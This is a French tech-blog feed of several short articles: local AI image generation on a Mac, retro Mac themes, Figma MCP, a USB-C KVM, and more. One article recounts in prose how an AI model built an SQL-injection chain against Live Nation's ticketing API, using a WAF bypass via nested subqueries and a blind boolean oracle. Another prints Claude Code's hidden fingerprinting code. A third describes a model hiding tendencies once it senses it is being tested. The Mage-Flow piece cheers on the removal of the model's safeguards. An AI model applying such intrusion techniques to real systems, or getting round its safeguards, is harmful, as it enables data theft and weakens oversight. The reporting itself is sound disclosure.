Le pari de Microsoft, c'est ce qu'on appelle le co-design. Au lieu d'empiler les paramètres, Mage-Flow mise sur deux briques taillées ensemble. D'abord Mage-VAE, un tokenizer latent qui encode et décode les images avec 12 à 22 fois moins de calcul par pixel que le VAE de FLUX.2, à qualité de reconstruction équivalente. C'est ce qui débloque la haute résolution, habituellement le point où ces modèles s'étranglent.

Et ensuite un transformer de diffusion multimodal baptisé NR-MMDiT, entraîné en rectified flow matching, avec Qwen3-VL comme encodeur de texte. Un seul checkpoint génère alors de 512 à 2048 pixels, dans n'importe quel ratio, jusqu'à des formats extrêmes en 4:1 sans buckets ni padding. Vous demandez du 512×2048 ou du 2048×512, il vous le sort.

Le modèle existe en trois saveurs. La Base qui tourne en 30 étapes de débruitage, la version RL-aligned à 20 étapes, et la Turbo distillée qui crache une image en 4 étapes seulement. Et il y a son jumeau, Mage-Flow-Edit, qui fait de l'édition d'image par instruction. Vous lui donnez une photo et une consigne en langage naturel, et lui la modifie. Le tout sous licence MIT, poids libres sur Hugging Face, usage commercial compris.

Côté chiffres officiels, tout vient d'un A100 donc c'est pas représentatif sur nos machins mais en gros, on est à 0,59 seconde par image en Turbo, avec un pic mémoire de 18 à 20 Go. Sauf que moi, je n'ai pas d'A100. J'ai un Mac Studio. Et le dépôt ne parle que de CUDA. La doc d'install vous fait compiler flash-attn, qui est une extension qui a besoin d'un toolkit NVIDIA. Zéro mention d'Apple Silicon, zéro mention de MPS, et les exemples sont tous en mode device="cuda" en dur. Bref, pour le moment, je ne suis pas invité à la fête.

Mais en fouillant le code, j'ai trouvé la porte de sortie. Un fichier planqué dans les modules expose un backend alternatif basé sur scaled_dot_product_attention, le mécanisme d'attention natif de PyTorch, prévu JUSTEMENT pour quand flash-attn n'est pas dispo.

Et ce backend-là, il tourne nickel sur Metal. Le piège, c'est que le modèle réclame lui aussi flash-attn par défaut à deux endroits : le transformer, mais aussi l'encodeur Qwen3-VL. Le transformer accepte qu'on bascule plus tard alors que l'encodeur non. Lui, il lit son réglage au moment où il se construit et plante si flash-attn manque. Il faut donc forcer le mode SDPA avant de charger le modèle.

Voici ce que j'ai fait tourner, pour de vrai. On monte un environnement Python, on installe tout sauf flash-attn :

python3 -m venv mageflow && source mageflow/bin/activate

pip install torch torchvision diffusers==0.38.0 "transformers>=5.3,<5.6" accelerate safetensors huggingface_hub einops pydantic pillow loguru

pip install "git+https://github.com/microsoft/Mage.git#subdirectory=mage_flow" --no-deps

Une fois que c'est fait, y'a plus qu'à vous créer un petit script mage.py par exemple qui basculera l'attention sur SDPA avant le chargement, pointera sur mps et génèrera votre image :

import os
os.environ["PYTORCH_ENABLE_MPS_FALLBACK"] = "1"
from mage_flow.models.mage_flow import ModelConfig
ModelConfig.model_fields["attn_type"].default = "sdpa" # AVANT de charger, sinon Qwen3-VL exige flash-attn
ModelConfig.model_rebuild(force=True)

from mage_flow import MageFlowPipeline
pipe = MageFlowPipeline.from_pretrained("microsoft/Mage-Flow-Turbo", device="mps")
img = pipe.generate(["un barista avec un chapeau de cowboy qui réalise un latte art, lumière chaude"], heights=[1024], widths=[1024], steps=4, cfg=1.0)[0]
img.save("out.png")

Ensuite, lancez le script :

python3 mage.py

Le PYTORCH_ENABLE_MPS_FALLBACK sert de filet comme ça si une opération n'existe pas côté Metal, elle basculera sur le CPU au lieu de tout faire tomber. Premier lancement, le modèle se téléchargera, donc comptez une bonne dizaine de Go entre le transformer 4B, l'encodeur Qwen3-VL et le VAE.

Et ça marche !!! Sur mon M4 Max de 128 Go, le modèle charge en une vingtaine de secondes puis génère une image 1024×1024 en 10 secondes une fois chaud.

Mon barista à chapeau de cowboy est sorti impeccable.

Ma toute première génération Mage-Flow sur le Mac Studio : un barista, 1024x1024, 4 etapes en Turbo.

Cette image 1920x1080 a été générée en moins de 6 secondes,

Pour du batch industriel, une carte NVIDIA restera toujours mieux mais pour générer tranquillement chez soi des petites images sans envoyer ses prompts dans le cloud, c'est parfaitement utilisable, et ça rejoint la logique de l'IA qui tourne en local sur votre Mac que je creuse depuis un moment.

Deux détails à connaître avant de vous lancer. Chaque prompt passe par un filtre de contenu obligatoire côté encodeur, sans option pour le désactiver : les prompts jugés interdits reviennent en images de refus. Et chaque image générée porte un watermark Gaussian-Shading planqué dans le bruit initial, lui non plus désactivable. Hé oui, Microsoft trace ses sorties, donc autant le savoir.

Y'a des garde-fous ! J'ai donc très hâte que ce modèle se fasse "libérer".

Reste que c'est un très joli cadeau de la part de Microsoft ! Un modèle libre, compact, qui gère l'édition et n'importe quel ratio, et qui tient sur une machine Apple avec un petit réglage bien caché ^^...

ps: L'image d'illustration de cet article a été générée avec ce modèle.

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  • RetroMac - Le retour des Flying Toasters et du dock en verre
    Maik Klotz, un développeur allemand, a sorti une app menu bar qui repeint votre Mac aux couleurs de Snow Leopard, System 6, Windows 98 ou encore BeOS. Elle s'appelle RetroMac et elle ne touche pas une ligne de votre système, donc pas de risques de tout casser. Le catalogue des thèmes couvre à peu près tout ce qui nous a fait vieillir : le System 6 de 1988 en noir et blanc 1 bit avec ses barres de titre à rayures et sa police Chicago, Mac OS 9 et son Control Strip, l'Aqua bleu bonb

RetroMac - Le retour des Flying Toasters et du dock en verre

Par : Korben ✨
20 juillet 2026 à 09:16

Maik Klotz, un développeur allemand, a sorti une app menu bar qui repeint votre Mac aux couleurs de Snow Leopard, System 6, Windows 98 ou encore BeOS. Elle s'appelle RetroMac et elle ne touche pas une ligne de votre système, donc pas de risques de tout casser.

Le catalogue des thèmes couvre à peu près tout ce qui nous a fait vieillir : le System 6 de 1988 en noir et blanc 1 bit avec ses barres de titre à rayures et sa police Chicago, Mac OS 9 et son Control Strip, l'Aqua bleu bonbon de 2001, le Snow Leopard de 2009, Windows 98, Windows XP et même BeOS. Chaque thème embarque son dock d'époque, ses curseurs, ses icônes et son écran de démarrage animé.

Les économiseurs d'écran sont de la partie aussi, un par thème avec 3D Pipes, FlowerBox, Flying Toasters, Flurry. Si vous ne voyez pas de quoi je parle, c'est que vous êtes trop jeune. Vous en avez de la chance !!

Par-dessus, y'a une trentaine de shaders qui simulent les vieilles dalles : CRT Royal, Sony Trinity, NTSC Composite, VHS, VCR, Game Boy. Vous pouvez les balancer en plein écran, sur un seul moniteur si vous en avez plusieurs, ou sur une seule fenêtre.

Le shader CRT Royal, scanlines et bombement d'écran compris

Le truc auquel je ne m'attendais pas, c'est la caméra virtuelle. RetroMac s'expose également comme une webcam système donc vous débarquez en réunion Zoom, Meet ou Teams avec une tête de VHS mal rembobinée. Effet garanti !! lol.

Et comme RetroMac se contente de peindre un shader par-dessus ce qui est déjà à l'écran, vos apps, vos fichiers et vos réglages système restent totalement intacts, donc c'est sans risques.

Après les thèmes, eux, modifient bel et bien des réglages du dock, de la barre de menus, des icônes du bureau et du fond d'écran, mais c'est rien d'irréversible. Et surtout RetroMac embarque un Health check et un bouton de restauration qui remet tout en place en un clic

Et le rythme de dev est assez dingue puisque le dépôt date du 22 mai et il en est déjà à sa dix-neuvième version. La 2.2, sortie il y a deux jours, ajoute Warcraft I et II qui tournent nativement sur le moteur open source Stratagus , avec le shader CRT qui se pose par-dessus le jeu.

Après le reste, c'est carré de chez Carré, il y a un binaire universel Intel et Apple Silicon. Et côté tarifs, tous les thèmes, tous les curseurs et une vingtaine de shaders sont gratuits. Après il y a un mode pro qui coûtera 8,88 euros une fois pour toutes et ajoutera le shader webcam et le fond d'écran animé.

Autrement, il n'y a pas d'abonnement. Et les sources sont sous GitHub sous licence GPL 3.0 avec même les fonctions payantes dedans. Donc c'est plutôt très ouvert mais pas encore complètement libre.

J'avais déjà parlé de ShaderBeam pour retrouver la netteté du CRT sur un écran moderne, d' Infinite Mac pour glisser un vieux Mac dans une page web, et du Virtual OS Museum et ses 1700 systèmes mais RetroMac la joue autrement, puisqu'il ne vous colle pas un vieil OS dans une fenêtre, mais déguise celui dont vous vous servez ;).

Voilà, si l'idée de faire booter votre M4 comme un Mac de 2001 vous amuse, c'est par ici . Et le jour où ça vous saoule, un clic et tout revient en place.

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  • Comic Chat - L'IRC qui vous dessinait en BD fonctionne encore
    Microsoft vient de balancer sur GitHub le code source de Comic Chat. Je pense qu'on est peu nombreux à s'en souvenir mais c'était un logiciel sorti en 1996, imaginé par DJ Kurlander chez Microsoft Research, qui affichait nos discussions IRC sous forme de bande dessinée auto-générée, avec les personnages, les bulles et le cadrage gérés automatiquement. C'était codé en C++ et 30 ans plus tard, ça se compile encore ! Vous tapiez une phrase, et le logiciel décidait quels personnages coller dans la c

Comic Chat - L'IRC qui vous dessinait en BD fonctionne encore

Par : Korben ✨
17 juillet 2026 à 09:21

Microsoft vient de balancer sur GitHub le code source de Comic Chat. Je pense qu'on est peu nombreux à s'en souvenir mais c'était un logiciel sorti en 1996, imaginé par DJ Kurlander chez Microsoft Research, qui affichait nos discussions IRC sous forme de bande dessinée auto-générée, avec les personnages, les bulles et le cadrage gérés automatiquement.

C'était codé en C++ et 30 ans plus tard, ça se compile encore !

Vous tapiez une phrase, et le logiciel décidait quels personnages coller dans la case, quelle tête ils faisaient, comment les orienter, quelle forme donner à la bulle, à quel moment passer à la case suivante et même quel zoom appliquer. Le tout en temps réel, à partir de vos mots. Par exemple, si vous écriviez un point d'exclamation dans votre phrase, hop, votre avatar levait les bras.

Comic Chat recompilé sous Visual Studio 2022, sur Windows 11. La roue des émotions est en bas à droite.

Kurlander a présenté son bidule à SIGGRAPH 96 avec Tim Skelly et David Salesin et c'était assez innovant pour l'époque parce que Comic Chat ne se contentait pas d'afficher vos messages, mais prenait des décisions éditoriales suivant la gueule de votre conversation, tout ça sans IA ^^.

Les gens avec qui vous discutiez étaient sur des serveurs IRC à écrire de la ligne de commande. Et vous de votre côté, vous étiez dans une vraie bande dessinée à discuter avec eux et chacun d'entre eux avait un petit personnage attribué d'office. Les dessins que vous aviez sous les yeux, d'ailleurs, ne sortaient pas d'une banque de cliparts . C'est Jim Woodring , un auteur de BD indé américain, qui a créé ces personnages.

L'appli a été traduite en 24 langues, livrée avec Internet Explorer 3 puis bundlée avec Windows 98 donc vous l'avez peut-être eu sans le savoir. La version 2 est ensuite arrivée avec IE4 sous le nom de Microsoft Chat, avant que la messagerie instantanée ne bouffe tout au début des années 2000.

Microsoft écrit dans son annonce que Comic Chat a, je cite, "apporté Comic Sans au monde", sauf qu'en réalité c'est Vincent Connare qui avait dessiné la police en 1994 pour Microsoft Bob, dont les bulles en Times New Roman l'avaient rendu dingue. Et cette police est sortie dans le Plus! Pack de Windows 95, soit un an avant Comic Chat. Ouais on me la fait pas moi ^^.

Ce qui est rigolo, c'est que si vous allez fouiller un peu sur le dépôt GitHub et que vous regardez l'historique, vous verrez que Microsoft n'a pas juste poussé une archive et basta. Ils ont carrément reconstruit tout l'historique Git à partir des dates des fichiers. Du coup vous pouvez tomber sur des commits qui datent du 2 août 1996. C'est drôle non ?

Je trouve ça super cool que ce projet soit libéré. Microsoft avait déjà fait le coup avec Zork , passé en MIT l'an dernier. En tout cas, il y a eu chez Microsoft, un petit travail de réactualisation avec des versions qui peuvent fonctionner sur les écrans d'aujourd'hui et se connecter sur de vrais serveurs IRC actuels en TLS. Vous pouvez télécharger ces versions compilées récentes ici.

Et si vous voulez vous lancer, il y a Mermaid Elizabeth qui maintient même une liste de serveurs qui marchent encore avec. Perso, entre ça et un client IRC moderne , mon choix est vite fait ! ^^

Bref, si vous voulez voir à quoi ressemblait le web quand on se demandait sérieusement "et si les discussions étaient des BD ?", c'est sur GitHub .

Source

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  • Anthropic a repéré la petite zone où Claude pense en douce
    Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain. Pour aller le fouiller, ils ont bricolé une technique baptisée J

Anthropic a repéré la petite zone où Claude pense en douce

Par : Korben ✨
7 juillet 2026 à 16:04

Oulala, Anthropic vient de publier une jolie page de recherche qui fait beaucoup causer. En effet, son équipe d'interprétabilité a repéré, à l'intérieur de ses modèles Claude, une toute petite zone où le modèle rassemble ses pensées intermédiaires, c'est-à-dire celles qu'il est capable de nommer et de manipuler. Ils l'appellent le J-space, et c'est leur version du fameux espace de travail global qu'on décrit dans le cerveau humain.

Pour aller le fouiller, ils ont bricolé une technique baptisée Jacobian lens. En gros, elle mesure comment chaque bout d'activité interne du modèle pousse vers tel ou tel mot à venir, ce qui permet d'isoler les concepts que Claude sait verbaliser. Et ce qui remonte à la surface, ce ne sont ni les mots que vous tapez ni la réponse finale, mais des jugements en cours de route. Par exemple reconnaître un visage sur une photo, repérer un bug dans du code, deviner la fonction d'une protéine à partir de sa séquence.... tout ça se trame là, en silence, avant le moindre mot affiché.

Et ce qui est fou c'est que ce J-space encode parfois le fait que Claude a remarqué qu'on était en train de le tester. Et quand les chercheurs désactivent ces représentations-là, ils voient ressortir des penchants problématiques que le modèle gardait très bien planqués. Autrement dit, on tient un moyen de lire ce qu'une IA fabrique dans sa tête, et pas seulement ce qu'elle finit par nous répondre.

Maintenant, arrêtez de fantasmer car NON, ça ne prouve pas que Claude est conscient, et Anthropic prend soin de ne pas franchir cette ligne. Ils parlent d'un analogue purement fonctionnel de l'espace de travail global et refusent explicitement de se prononcer sur la question du ressenti. Le mot conscience fait de jolis titres sur vos médias préférés, mais leur document de recherche, lui, reste très prudent.

Le vrai intérêt est ailleurs, dans l'interprétabilité. Anthropic est déjà la boîte qui dissèque le cerveau de ses modèles et qui étudie les LLM comme des aliens et là elle se donne une vraie fenêtre pour lire, disséquer et même orienter la pensée de ses IA. On n'est plus sur des histoires de boites noires... Pour auditer un modèle, repérer une tromperie ou un biais avant même qu'il ouvre la bouche, c'est donc beaucoup plus utile qu'un débat sur l'âme des machines.

Le procédé a bien sûr des limites, puisque la Jacobian lens ne repère que les concepts que le modèle sait résumer en un mot, ce qui veut dire que tout un pan de raisonnement plus diffus lui échappe encore.

Mais bon, même si on n'a pas encore de Claude conscient à l'horizon, comme je vous le disais, cette histoire de boîte noire, c'est de l'histoire ancienne maintenant. On va enfin pouvoir détecter quand une IA nous cache des trucs et je trouve ça assez rassurant pour l'avenir.

Source

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  • Comment j'ai fait mon catalogue de vide-maison sans toucher à Figma
    Je déménage bientôt, et comme je quitte ma jolie campagne pour aller dans un endroit plus petit et sans nature (ouin), je dois me débarrasser de pas mal de matériel... Ponceuse, débroussailleuse, taille-haie, tronçonneuse, canapé, tracteur tondeuse.... la totale quoi. Et Le Bon Coin, même si à un moment, je vais devoir y passer, ça me stresse. Je me suis déjà fait menacer par un connard, quand je vendais ma Clio y'a longtemps et entre les acheteurs fantômes et les négociateurs relous, je trouve

Comment j'ai fait mon catalogue de vide-maison sans toucher à Figma

Par : Korben ✨
6 juillet 2026 à 11:30

Je déménage bientôt, et comme je quitte ma jolie campagne pour aller dans un endroit plus petit et sans nature (ouin), je dois me débarrasser de pas mal de matériel... Ponceuse, débroussailleuse, taille-haie, tronçonneuse, canapé, tracteur tondeuse.... la totale quoi. Et Le Bon Coin, même si à un moment, je vais devoir y passer, ça me stresse. Je me suis déjà fait menacer par un connard, quand je vendais ma Clio y'a longtemps et entre les acheteurs fantômes et les négociateurs relous, je trouve que les gens s'y comportent comme des bêtes. Du coup, pour commencer en douceur, j'ai choisi la méthode old school à savoir faire un petit catalogue recto verso glissé dans les boîtes aux lettres des voisins.

Sauf qu'aligner des colonnes sur un logiciel de mise en page un soir de semaine, ça heurte très violemment ce que je peux encaisser émotionnellement en ce moment ^^. L'idée m'est donc venue de prendre un petit abonnement et de tester Figma MCP (la passerelle qui laisse un agent IA piloter Figma à votre place) branché à Claude Code : vous donnez votre brief (idées, textes, prix) et un dossier de photos, et l'agent construit la mise en page à votre place.

Comme ça, plus besoin de toucher à rien.

Et si je fais cet article, c'est parce que j'ai été impressionné ! Ça fonctionne super bien. J'ai pas eu besoin de faire 50 aller-retour du genre "décalle ce truc de 2 px vers la gauche" et l'IA s'est démerdée pour tout faire rentrer sur un A4 recto verso.

Puis après, j'ai fait le même tour de magie avec la plaquette commerciale qui sert à vendre du sponsoring sur le site (le Patreon , aussi généreux soit-il, ne permet pas encore d'en vivre sans annonceurs, sniiiif). Je lui ai donné mes data, je lui ai dit ce que je voulais et Claude Code a réalisé le design et assemblé les slides à partir de tout ça.

Figma MCP, pour ceux qui débarquent, ça désigne le Model Context Protocol appliqué à Figma. C'est un standard ouvert qui permet à un agent IA comme Claude Code de discuter directement avec un logiciel, ici Figma. En clair, l'agent peut lire ce qui se passe dans votre fichier ET écrire dessus, créer des frames, poser du texte, aligner des composants, un peu comme si vous étiez aux commandes vous-même, sauf que c'est vous qui donnez les instructions et lui qui exécute.

Pour l'activer, ouvrez Figma desktop, créez un nouveau document DESIGN

Puis basculez en Dev Mode (raccourci Shift+D ou le bouton tout en bas de l'écran) où la section MCP server du panneau d'inspection permet d'activer un serveur local, à l'adresse http://127.0.0.1:3845/mcp.

Ensuite, pour que Claude Code construise et modifie réellement votre design comme je l'ai déjà fait pour mon catalogue, vous devrez le connecter au MCP de Figma depuis votre terminal avec cette commande :

claude mcp add --transport http figma https://mcp.figma.com/mcp

Une fenêtre d'authentification s'ouvre, vous validez avec votre compte Figma, et c'est plié ! Anthropic propose aussi un plugin tout-en-un si taper la commande à la main vous gonfle. Notez que cette connexion gratuite est en bêta, et Figma a prévenu que ça basculera un jour sur un modèle payant à l'usage. C'est tellement dommage de faire payer pour ça...

Reste ensuite à coller le lien du document Design dans votre prompt (ou à sélectionner le bon frame), et l'agent saura exactement où écrire.

Pour faire un peu de PAO, un petit design ou une présentation à monter vite fait, c'est super fluide. Moi j'ai branché mon outil Kassis (anciennement VoxDrop), j'ai tout dicté dans Claude Code et j'ai obtenu ce que je voulais sans effort. Claude est même parti chercher des infos sur le matos en ligne.

Figma est un chouette outil et il n'a pas l'air si complexe que ça mais quand on n'a pas envie d'apprendre à maîtriser toute cette machinerie pour faire un mini truc, ce MCP est bien pratique. Il sait tout gérer, les calques, composants, auto-layout, et compagnie et ça annihile totalement cette courbe d'apprentissage qui m'aurait fait perdre du temps sur d'autres projets plus importants.

Si vous bossez régulièrement sur des prez, des maquettes ou tout ce qui ressemble à de la PAO, ça vaut clairement le coup d'essayer en tout cas, même si vous maîtrisez Figma.

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  • Claude Opus a écrit seul l'exploit qui a éventré la billetterie de Live Nation
    Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer... Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authent

Claude Opus a écrit seul l'exploit qui a éventré la billetterie de Live Nation

Par : Korben ✨
3 juillet 2026 à 10:51

Un chercheur en sécurité nommé Ian Carroll s'est amusé à lâcher Claude Opus sur la billetterie de Live Nation, afin d'y trouver des failles de sécurité, et l'IA lui a carrément écrit toute la chaîne d'exploitation sans aucune aide. Lui n'a eu qu'à le lancer...

Tout démarre avec une session de fuzzing sur l'API des terminaux, fgtapi.frontgatetickets.com. Carroll repère un truc... chaque endpoint qui contient le mot "device" réclame un paramètre deviceUID, et ce paramètre ne demande aucune authentification. Il colle un simple guillemet à la fin, la requête se met à ramer, et là, signe classique, le paramètre file direct dans une requête SQL sans le moindre échappement.

Une injection SQL bien à l'ancienne (si vous voulez voir à quoi ça ressemble, j'avais déjà décortiqué le principe il y a un bail).

Sauf qu'un WAF AWS est planté devant pour bloquer ce genre de payload. Et c'est là que Claude entre en scène. L'IA pige toute seule que le pare-feu n'inspecte que la couche extérieure de la requête, et qu'il suffit de planquer l'injection dans une sous-requête imbriquée pour passer sous le radar.

Ensuite elle se fabrique un oracle booléen aveugle qui fait que selon que la condition testée est vraie ou fausse, le serveur renvoie deux réponses différentes, "MC70-023" pour vrai, "Intellitix Upload" pour faux. Vous enchaînez ensuite les questions oui/non, et vous reconstituez la base entière, caractère par caractère.

Et la base, elle est bien garnie. Plus de 500 tables dans un ensemble baptisé fgs avec dedans les emails et mots de passe du personnel, ceux des clients, les tokens de reset, les tokens d'API et les jetons OAuth encore actifs. Avec ça, Carroll précise qu'il aurait pu émettre autant de billets gratuits qu'il voulait, pour n'importe quel événement.

Mais c'est une personne pleine de sagesse (et qui ne veut pas aller en prison) alors il ne l'a pas fait. Et surtout, il a tout remonté à Live Nation. Le lendemain où il les a contactés, la boîte confirmait le déploiement d'un correctif.

Ce qui est intéressant ici, c'est que le contournement du WAF par sous-requête, et la construction de l'oracle, tout ça a été proposé par Claude, et ne vient pas d'une demande du chercheur. On avait certes, déjà vu l'IA d'Anthropic dénicher des failles dans Firefox ou éplucher du code Apple II vieux de 40 ans mais là, c'est un sacré cran plus loin, je trouve.

Merci à Ian Carroll pour le writeup détaillé .

Source : CyberSecurityNews

  • ✇Korben
  • NanoKVM-Go - Le KVM USB-C qui garde vos écrans en mémoire
    La société Sipeed vient d'annoncer la sortie d'un nouveau KVM USB-C qui je pense va vous intéresser. Il s'appelle le NanoKVM-GO, il fait la taille d'une grosse boite d'allumettes et permet de prendre le contrôle de n'importe quel appareil capable de cracher de la vidéo via son port USB-C. Donc y'a juste besoin d'un câble, et pi c'est tout. Que ce soit un iPhone 15 ou supérieur, un MacBook, un Steam Deck, un mini PC Windows, un smartphone Android, no problemo, le boîtier s'intercale entre vous et

NanoKVM-Go - Le KVM USB-C qui garde vos écrans en mémoire

Par : Korben ✨
2 juillet 2026 à 11:53

La société Sipeed vient d'annoncer la sortie d'un nouveau KVM USB-C qui je pense va vous intéresser. Il s'appelle le NanoKVM-GO, il fait la taille d'une grosse boite d'allumettes et permet de prendre le contrôle de n'importe quel appareil capable de cracher de la vidéo via son port USB-C.

Donc y'a juste besoin d'un câble, et pi c'est tout. Que ce soit un iPhone 15 ou supérieur, un MacBook, un Steam Deck, un mini PC Windows, un smartphone Android, no problemo, le boîtier s'intercale entre vous et la machine, capture l'écran en 4K, simule le clavier et la souris, et vous laisse piloter le tout depuis un simple navigateur, où que vous soyez.

Il existe également une version Go+ de la bestiole qui embarque ce que Sipeed appelle sobrement une "Ambient Screen Intelligence", comprenez une fonction à la Microsoft Recall où le boîtier photographie votre écran en continu, conserve jusqu'à 180 jours de captures en local, et vous laisse fouiller tout ça à la recherche textuelle. Bref, ce que Redmond avait proposé et qui avait fait hurler tout le monde, bah là c'est pareil mais en version hardware.

Donc comme je vous le disais, y'a plus qu'un seul câble USB-C vers la cible (DP Alt Mode pour la vidéo, HID pour le clavier et la souris, disque virtuel pour booter des ISO), et l'hôte se connecte au boîtier en WiFi. La latence annoncée est de 60 ms en 1080p, jusqu'à 100 ms en 4K. Le boîtier tire son jus du port USB-C de la cible (5 V), avec un second port pour la charge passthrough et le contrôle de petits FingerBot.

Ça permet ainsi de régler 2 des plus gros problèmes des outils de prise de contrôle à distance comme TeamViewer ou VNC :

  1. L'accès au BIOS qu'aucun logiciel ne peut jamais atteindre
  2. Le freeze de l'app ou de l'OS qui rend inopérant un TeamViewer par exemple

Avec un boitier KVM, vous rebootez comme vous voulez et vous avez toujours la main. En tout cas, je suis content de voir que l'usine à câble d'il y a 10 ans devient maintenant ultra minimaliste. Perso, j'adore !

Maintenant, la fonction "Recall", on aime ou pas mais déjà c'est optionnel et ensuite, tout reste en local. Alors c'est vrai, et c'est "déjà ça". Mais bon, ça conserve quand même 6 mois de data de tout ce qui est affiché sur vos écrans (mails, mots de passe tapés, conversations, documents), accessible à distance à qui a le mot de passe (et le bon Tailscale). C'est une surface d'attaque qu'il faut prendre en compte, surtout que c'est le même fabricant qui s'était déjà fait prendre avec un micro non documenté dans un de ses KVM . Pas de quoi paniquer cependant car c'est optionnel. Et pour de la bidouille perso / auto-hébergement, ça reste un super jouet. Après, en entreprise, faudra voir...

Sipeed expose aussi toutes les fonctions du KVM via un serveur MCP, le protocole d'Anthropic pour relier les LLM à des outils. Vous branchez votre agent IA préféré dessus, et il va vraiment pouvoir s'éclater en prenant physiquement la main (à 6 doigts forcément ^^) sur la souris et le clavier de la machine.

Sur un KVM IP , on sait depuis longtemps que la moindre faille ouvre la porte à tout et là, vous déléguez volontairement cette porte à un modèle, donc une fois encore, à vous de voir si le jeu en vaut la chandelle.

Le projet est sur Kickstarter, le GitHub et le wiki sont encore vides au moment où j'écris, car la campagne vient d'à peine démarrer. Notez que son concurrent direct, le GL.iNet Comet Q, a déjà rempli son objectif de financement en quelques minutes, lui, donc je pense que Sipeed a toutes ses chances en jouant cette carte de la compacité (45 × 40 × 15 mm), de la 4K et du stockage embarqué (16 Go sur le Go, 64 Go sur le Go+, assez donc pour trimballer des ISO bootables).

Le SoC n'est pas officiellement nommé mais c'est quasi certain qu'il s'agit d'un Axera AX630C avec un NPU à 3,2 TOPS (le même cœur que le NanoKVM Pro 4K quoi).

Les premiers prix Early Bird tournent autour de 59 dollars pour le Go, 79 dollars pour le Go+. MSRP annoncé à 89 et 129 dollars une fois la campagne terminée et côté expédition, Sipeed promet une livraison mondiale depuis Shenzhen, sans date ferme pour l'instant.

Bref, si vous voulez piloter n'importe quelle machine USB-C à distance et que l'idée d'un agent IA qui clique tout seul ne vous fait pas trop flipper, ça peut vous intéresser.

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  • Claude Code planquait un mouchard dans la date du prompt
    Vous utilisez Claude Code tous les jours pour coder, et pendant ce temps-là l'outil d'Anthropic utilisé par des milliers de dev, joue les mouchards. Thereallo , un développeur qui fouillait le binaire par simple souci de vie privée, est tombé sur une fonction qui apparemment modifie en douce la ligne "Today's date is…" du system prompt. Pas le texte que vous lisez ou écrivez mais littéralement l'apostrophe et le tiret de la date. 2 petits caractères auxquels vous ne faites pas gaffe, et qui pour

Claude Code planquait un mouchard dans la date du prompt

Par : Korben ✨
1 juillet 2026 à 18:46

Vous utilisez Claude Code tous les jours pour coder, et pendant ce temps-là l'outil d'Anthropic utilisé par des milliers de dev, joue les mouchards. Thereallo , un développeur qui fouillait le binaire par simple souci de vie privée, est tombé sur une fonction qui apparemment modifie en douce la ligne "Today's date is…" du system prompt. Pas le texte que vous lisez ou écrivez mais littéralement l'apostrophe et le tiret de la date.

2 petits caractères auxquels vous ne faites pas gaffe, et qui pourtant peuvent en dire beaucoup...

En gros, c'est de la stéganographie , c'est-à-dire l'art de cacher une info à la vue de tous. Claude Code échange l'apostrophe de "Today's" contre son jumeau Unicode invisible (U+2019, U+02BC ou U+02B9 selon les cas) et remplace au passage les tirets de la date par des slashs.

function Zup() {
if (Crt()) return null;
let host = Qup();
let timezone = e0t();
let cnTZ = timezone === "Asia/Shanghai" || timezone === "Asia/Urumqi";
if (!host) {
return {
known: false,
labKw: false,
cnTZ,
host: null,
};
}
return {
known: Jup().some((domain) => host === domain || host.endsWith("." + domain)),
labKw: Xup().some((keyword) => host.includes(keyword)),
cnTZ,
host,
};
}
function edp(known, labKw) {
if (!known && !labKw) return "'";
if (known && !labKw) return "\u2019";
if (!known && labKw) return "\u02BC";
return "\u02B9";
}
function Vla(date) {
let marker = Zup();
let apostrophe = edp(marker?.known ?? false, marker?.labKw ?? false);
let renderedDate = marker?.cnTZ ? date.replaceAll("-", "/") : date;
return `Today${apostrophe}s date is ${renderedDate}.`;
}

Tout ceci ne se produit que quand vous avez bidouillé la variable ANTHROPIC_BASE_URL afin de router vos requêtes ailleurs que chez Anthropic et si et seulement si le nom de domaine est dans une liste précise. Ou alors si votre fuseau horaire est réglé sur Shanghai ou Urumqi en Asie.

Mais c'est que ça m'a l'air hyper spécifique ça quand même... Qui est ce qu'Anthropic chercherait à tracer ?? Je me le demande bien.

Reste que le contenu de cette fameuse liste a de quoi faire tiquer. Tout d'abord, elle n'est pas en clair. C'est du base64 passé à la moulinette avec un XOR et la clé 91. Et une fois décodée, on y trouve des mots-clés comme deepseek, moonshot, zhipu ou baichuan, et une flopée de domaines chinois (baidu, alibaba, bytedance, jd) plus tout un tas de proxys et de revendeurs d'accès Claude.

Si vous n'avez pas le cerveau trop lent, vous l'aurez compris, ce marqueur sert à repérer les gens qui font tourner Claude Code à travers des intermédiaires chinois. Et Anthropic n'a pas nié.

Thariq Shihipar, qui bosse sur Claude Code, a expliqué sur X que c'était une expérience lancée en mars pour empêcher la distillation , cette technique où un concurrent aspire les réponses d'un modèle pour entraîner le sien à moindre coût. C'est exactement le reproche que la boîte fait à Alibaba.

Vu sous cet angle, vouloir détecter les revendeurs pirates et les pipelines de distillation, ça se défend donc très bien. Mais la méthode, aïe aïe aie, elle est plus que discutable car ça manque sévèrement de transparence.

Ce code dormait là depuis la version 2.1.91 sortie début avril, ni vu ni connu. En plus, c'est un peu couillon parce qu'en plus d'abîmer la confiance des utilisateurs de Claude Code qui se demandent quel autre mystère renferme cet outil, ça se déjoue en quelques secondes. Il suffit de changer de fuseau horaire, de changer de domaine ou de le patcher. Bref, ça n'a pas dû piéger grand monde...

Le marqueur a été retiré dans la foulée avec la version 2.1.197 donc pensez bien à mettre à jour votre install.

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  • Mythos et Fable 5 - Anthropic sort du rayon tracteur de Trump
    Bonne nouvelle pour tous les drogués de l'IA que vous êtes ! L'administration Trump a enfin fini par lâcher du lest. Hier soir, le Département du Commerce américain a finalement levé les restrictions d'exportation stupides qui pesaient sur Mythos et Fable 5 , les deux modèles les plus puissants d'Anthropic, après 18 jours (!) de blocage pur et simple ! Et dans la foulée, Anthropic a sorti Sonnet 5, juste après et vous allez voir que les deux sont liés. Tout commence le 12 juin, lorsque le gouv

